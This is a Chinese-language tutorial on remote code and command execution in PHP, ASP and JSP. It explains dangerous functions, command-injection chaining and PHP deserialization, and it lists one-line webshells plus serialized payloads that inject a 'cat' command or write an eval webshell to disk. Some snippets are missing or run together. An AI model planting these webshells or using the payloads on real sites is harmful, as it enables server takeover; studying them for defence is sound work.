一、RCE漏洞概念
远程命令/代码执行漏洞(RCE)是指可以在仅有远程访问权限的情况下执行系统 命令的漏洞,是安全漏洞中危害最大的漏洞之一
二、命令注入
PHP系统命令执行函数:
- exec()
- system()
- passthru()
- shell_exec()
ASP执行系统命令:
<%Response.write
CreateObject("wscript.shell").exec("cmd.exe/c
ipconfig").StdOut.ReadAll%>
JSP执行系统命令:
Runtimerun=Runtime.getRuntime();
run.exec("ipconfig");
常见命令:
dir,ping,whoami,ipconfig,ifconfig,systeminfo
等,通过&&或者||符号进行拼接。
代码注入
我们知道文件包含漏洞是可以造成PHP代码执行的。但是在
如PHP等语言中,能够执行PHP代码的方法远不止文件包含这一种,比如危险
函数eval()。
代码注入的情况非常灵活,但究其原因仍离不开两个关键条件:
- 用户能够控制函数的输入;
- 存在可以执行代码的危险函数。
常见的代码执行函数
eval()函数
- 作用:将括号字符串当做PHP代码执行。
- 常见的一句话写法:<?php eval($_POST['cmd'])?>
assert()函数
- 作用:验证括号内的代码是否为true。
- 如果代码不为true,则会产生一个warning的错误。
- 当输入的内容为字符串或者函数时,则会被当做PHP代码执行。
- 常见的一句话写法:<?php assert($_POST['cmd'])?>
preg_replace()函数
- 作用:使用正则表达式对字符进行搜索与替换。
- preg_replace(正则表达式,替换内容,被替换内容)。
- 例:<?php preg_replace('/hello/','nihao','helloworld');?>
- 在PHP<7时,当正则表达式有e修正符时,第二个参数会被当做PHP代码执行。
- 例:<?php preg_replace('/hello/e','phpinfo()','helloworld');?>
create_function()函数
-
作用:创建匿名函数。
-
create_function(变量部分,代码部分)。
-
常见的匿名函数:
-
使用create_function创建的匿名函数:
-
当echo中没有出现任何字符串时,执行任何代码都无影响,但要是echo后面跟上任意
字符会造成字符拼接,导致函数无法被识别。 -
解决方法:先闭合原有匿名函数,再插入恶意语句。;}phpinfo()//
array_map()函数
- 作用:为数组的每个元素应用回调函数。
- array_map(回调函数,数组)。
- 数组内的每个元素都会进入回调函数中执行一遍并存放到新的数组中。
- 函数的基本使用:
- 当函数和数组都接收变量参数:
- 使用示例:postdata那输入a=system,b=ipconfig
call_user_func()函数
-
作用:允许用户自定义函数并传值。
-
call_user_func(用户自定义函数,传入变量)。
-
函数的基本使用:
-
当函数和参数都接收变量参数:
-
使用示例:postdata那输入a=system,b=whoami
call_user_func_array()函数
-
作用:允许用户自定义函数并传值,值以数组的形式传入。
-
call_user_func(用户自定义函数,数组变量)。
-
函数的基本使用:
-
当函数和参数都接收变量参数:
使用示例:postdata那输入a=system,b=dir
三、一句话木马
PHP一句话木马:
<?php@eval($_POST['v']);?>
传参方式
ASP一句话木马:
<%evalrequest("v")%>
JSP一句话木马:
<%if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getReal
Path("\\")+request.getParameter("f"))).write(re
quest.getParameter("t").getBytes());%>
四、反序列化命令执行
概念:
- 数据持久化
比如:某个类里面保存着学生的个人信息,我想要将这些信息保存起来,以后可以随时取出来用,就可以采用序列化。
例:将一个 Word 保存为 docx,这就是序列化的过程。打开 docx 文档,显示内容,就是反 序列化的过程。 - 数据可传递
比如:在进行网络传输的过程中,发送数据和接收数据都是通过 byte 来获取的时候,如果 你要发送一个对象,需要进行序列化。 然后接受数据的时候进行反序列化,还原对象。 - 程序可维护
序列化可以将内存中的对象保存到本地文件和数据库中,大大提高了代码的可维护性。
序列化与反序列化
一种将对象的状态信息转换为可以存储或传输的形式的过程(转化为信息流)。在序列化期间,将其对象当前状态写入到临时或持久性存储区。以后可以通过从存储区中读取对应数据,重新创建该对象。
简单理解
序列化就是把本来不能直接存储的数据转换成可存储的数据,并且不会丢掉数据格式
序列化的格式为:
O:7:"student":3:{s:4:"name";s:8:"zhangsan";s:3:"age";i:24;s:5:"score";i:61;}
O:对象名长度:“对象名”:对象变量个数:{变量类型:变量名长度:“变量名”;变量值类型:变量值长度:“变量值”;……}
- String:用
s
表示 - int:用
i
表示 - 数组:用
a
表示
eg:
O:4:"test":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:23:"127.0.0.1|cat</f1a9.txt";};}
- 变量名与变量值之间用
;
隔开 - 同一变量名/值之间用
:
隔开
序列化函数:serialize()
序列化一个对象,保存对象的所有变量,但是不会保存对象的方法。
反序列化函数:unserialize()
对已序列化的变量进行反序列化操作,重新生成一个对象。
用法
漏洞原理
-
漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术
方法中的代码有能够被我们控制,漏洞就这样产生了,根据不同的代码可以导致各种攻击,如
代码注入、SQL注入、目录遍历等等。 -
PHP的类中可能会包含一些特殊的函数叫魔术函数,魔术函数命名是以符号__开头的,比如:
_construct(),__toString(),__destruct(),__invoke()__call(),__set_state(),__callStatic()
__clone(),__get(),__debugInfo(),__set(),__wakeup(),__isset(),__sleep(),__unset() -
这些函数在某些情况下会自动调用,其中,反序列化漏洞主要由以下面魔术方法造成:
函数名 | 调用时机 |
---|---|
__construct() | 在对象被创建时自动被调用 |
__sleep() | 在对象被序列化的时候自动被调用 |
__destruct() | 在脚本运行结束时自动被调用 |
__wakeup() | 在反序列化为对象时自动被调用 |
__toString() | 直接输出对象时自动被调用;例如:echo |
漏洞举例
示例一
读取当前目录下的1.txt文件
在postdata:
O:8:"fileName":1:{s:8:"filename";s:5:"1.txt";}
示例二
在其目录下写入木马文件
在postdata中:
O:9:"fileWrite":1:{s:1:"a";s:23:"<?phpeval($_POST[v])?>";}